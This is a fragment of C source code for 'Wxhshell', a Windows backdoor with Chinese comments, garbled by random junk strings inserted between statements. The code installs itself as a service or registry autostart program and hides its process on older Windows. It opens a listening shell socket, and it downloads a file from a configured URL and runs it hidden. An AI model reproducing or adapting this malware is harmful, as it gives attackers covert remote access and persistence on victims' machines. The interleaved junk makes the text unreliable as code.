ibg g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oc`fQqYy NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B E)l77=/ t_Wn<)XA if (!NtQueryInformationProcess) return 0; X_F= ;XF/ e{:qW'% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9@B+$~:}7 if(!hProcess) return 0; 2[hl^f^%, OpE+e4~IF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (?[cDw/{J: '3->G/Pu CloseHandle(hProcess); N~d]}J8}gx P|U>(9;P, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U?{j if(hProcess==NULL) return 0; O=/Tx2i; )Cl&"bX HMODULE hMod; Vba}RF[b char procName[255]; rl=_ "sd= unsigned long cbNeeded; Y."[k&P- i=T/}c)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]FBfh.#X@ c`QsKwa CloseHandle(hProcess); U\{Z{F%8 ENzeVtw0 if(strstr(procName,"services")) return 1; // 以服务启动 =qvU9p2o z wW9>Y return 0; // 注册表启动 Z}wAh|N- } VJaL$Wv)H \zwb> ^ // 主模块 L\[jafb_` int StartWxhshell(LPSTR lpCmdLine) ~^*tIIOX { AtOB'=ph* SOCKET wsl; ez>@'yhK BOOL val=TRUE; RT>3\qhZ int port=0; !@X#{ struct sockaddr_in door; o_n.,=/cZ yw0uF if(wscfg.ws_autoins) Install(); ?`>yl4
dp"w=~53 port=atoi(lpCmdLine); Me>'QVr DI7trR` if(port<=0) port=wscfg.ws_port; $;1~JOZh 9[*kpMC WSADATA data; \=<.0K A~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6>Y}2fT}o3 iC]}M if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; voxlo>: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #a&Vx&7L door.sin_family = AF_INET; +!(hd door.sin_addr.s_addr = inet_addr("127.0.0.1"); |7-tUHMo[ door.sin_port = htons(port); HNPr|
( ~6nQ- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N_0O"" d closesocket(wsl); GZw<Y+/V"5 return 1; wkGF&U } ?8 F7BS4oQ Yq_zlxd%F if(listen(wsl,2) == INVALID_SOCKET) { ~gc)Ww0(Q closesocket(wsl); {~"=6iyj return 1; }!LYV } P,wJ@8lv Wxhshell(wsl); 0)NHjKP WSACleanup(); l?q^j;{Dw eD3F%wxz return 0; ^:#%TCJ f2=s{0SX0 } M: 6cma5 L!Ro`6|7; // 以NT服务方式启动 D-.>Dw: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O\w%E@9Fh { (LjY<dQO DWORD status = 0; u+'=EGl DWORD specificError = 0xfffffff; [F%\1xh %YXC-E3@O serviceStatus.dwServiceType = SERVICE_WIN32; w~9gZ&hdp serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z%Gvf~u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OW>U5 \q serviceStatus.dwWin32ExitCode = 0; TwN8|ibVmP serviceStatus.dwServiceSpecificExitCode = 0; ;,1i,? serviceStatus.dwCheckPoint = 0; +uA<g`4 serviceStatus.dwWaitHint = 0; 4)ISRR OL>/FOH:Fx hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '54@-}D if (hServiceStatusHandle==0) return; f
{
ueI< X%dOkHarB status = GetLastError(); 4*3vZ6lhu if (status!=NO_ERROR) #/:[ho{JQ { !ZVMx*1Cf serviceStatus.dwCurrentState = SERVICE_STOPPED; r0sd_@Oj serviceStatus.dwCheckPoint = 0; }oG&zw serviceStatus.dwWaitHint = 0; :\[F= serviceStatus.dwWin32ExitCode = status; + y^s
6j} serviceStatus.dwServiceSpecificExitCode = specificError; w-2]69$k SetServiceStatus(hServiceStatusHandle, &serviceStatus); JTC&_6 return; ihn M`TpMJ } R3~&|>7/T u-Vnmig9 serviceStatus.dwCurrentState = SERVICE_RUNNING; r?Vob}'Pt] serviceStatus.dwCheckPoint = 0; dM') <lF serviceStatus.dwWaitHint = 0; t*x;{{jL#( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %(E6ADB } +[ F8>9o& s{/nO) // 处理NT服务事件,比如:启动、停止 {^qc`oF VOID WINAPI NTServiceHandler(DWORD fdwControl) Eq?o/'e { g#AA.@/Z switch(fdwControl) ~AO0(Lp { (xTHin$ case SERVICE_CONTROL_STOP: $Z j. serviceStatus.dwWin32ExitCode = 0; 5s>9v serviceStatus.dwCurrentState = SERVICE_STOPPED; A1C@'9R*
serviceStatus.dwCheckPoint = 0; LF0~H}S;6B serviceStatus.dwWaitHint = 0; vV|egmw01 { n)0{mDf% SetServiceStatus(hServiceStatusHandle, &serviceStatus); )fa } 2{&" 3dq return; J4gIkZD case SERVICE_CONTROL_PAUSE: >3bpa<M_ serviceStatus.dwCurrentState = SERVICE_PAUSED; A!J5Wz>Q5 break; WC4Il
C case SERVICE_CONTROL_CONTINUE: ^Z!W3q Q serviceStatus.dwCurrentState = SERVICE_RUNNING; I/tzo(r break; jsR1jou6 case SERVICE_CONTROL_INTERROGATE: FD*y[A
? break; =k_u5@.Z
}; K!9=e7|P SetServiceStatus(hServiceStatusHandle, &serviceStatus); m$^7sFD$ } '>6-ie^0 L.R // 标准应用程序主函数 b{oNV-<&{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wqyAEVea'8 { TwH(47|?Nt ,9rT|:N // 获取操作系统版本 1/i| OsIsNt=GetOsVer(); K.%E=^~q GetModuleFileName(NULL,ExeFile,MAX_PATH); :J"e{|g', OLi;/(g // 从命令行安装 >}9TdP/oT if(strpbrk(lpCmdLine,"iI")) Install(); uODsXi{z 2PC4EjkC // 下载执行文件 7+ysE if(wscfg.ws_downexe) { \u*,~J)z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !y),| #7P WinExec(wscfg.ws_filenam,SW_HIDE); V7^?jck } NE! Xt <A +)Ty^;+[1 if(!OsIsNt) { YT_kMy> // 如果时win9x,隐藏进程并且设置为注册表启动 &F:7U! HideProc(); 2vXMrh\ StartWxhshell(lpCmdLine); 3.jwOFH$ } LDNpEX~ else OYKV* if(StartFromService()) Qknd ^% // 以服务方式启动 i et|\4A StartServiceCtrlDispatcher(DispatchTable); +LyhF2 else B|Omz:c // 普通方式启动 jfWIPN StartWxhshell(lpCmdLine); RI`A<*>w ^R\blJQ<^ return 0; 4?&=H
*H: }
|